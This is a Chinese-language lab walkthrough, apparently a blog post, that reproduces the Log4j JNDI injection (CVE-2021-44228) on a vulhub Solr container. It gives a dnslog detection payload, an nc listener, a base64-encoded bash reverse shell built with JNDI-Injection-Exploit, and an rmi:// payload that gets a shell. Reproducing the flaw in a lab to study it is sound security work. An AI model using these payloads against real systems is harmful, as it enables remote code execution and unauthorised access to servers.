Log4j复现(CVE-2021-44228)
前言:
- pache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码,
- JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现
1.环境搭建,使用docker搭建vulhub(CVE-2021-44228):切换到vulhub的cve2021-44228下
docker-compose up -d
2.在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:
http://10.211.55.2:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.mufypi.dnslog.cn}![](https://secure2.wostatic.cn/static/3KwbcxMgv1eduaxim7oz4f/image.png?auth_key=1687012588-jyJhfYbWhMtd7Zso3CdTgk-0-b7cdf516e41c4ec6b8b6bdcfda698566&file_size=202442)
![](https://secure2.wostatic.cn/static/u361RzrVU1khuWM6vginaY/image.png?auth_key=1687008423-gwobnxLGqst1XDPPWn18Ur-0-91438ba3d328c019bc37876d13cda338)
说明存在log4j漏洞。
3.漏洞利用(反弹shell)
- a.kali攻击机开启nc监听 nc lvnp 9001(对应反弹shell的端口)
- b.使用jndi构造poc反弹shell:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuNS85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.211.55.5
- d.使用burpsuit抓包,替换payload:rmi://10.211.55.5:1099/xd77jt 到Burpsuite:成功反弹shell
http://10.211.55.2:8983/solr/admin/cores?action=${jndi:rmi://10.211.55.5:1099/9xuvzl}
***Tips:***这里注意我们使用工具生成的利用地址,一定要根据不同的环境版本使用不同的链!!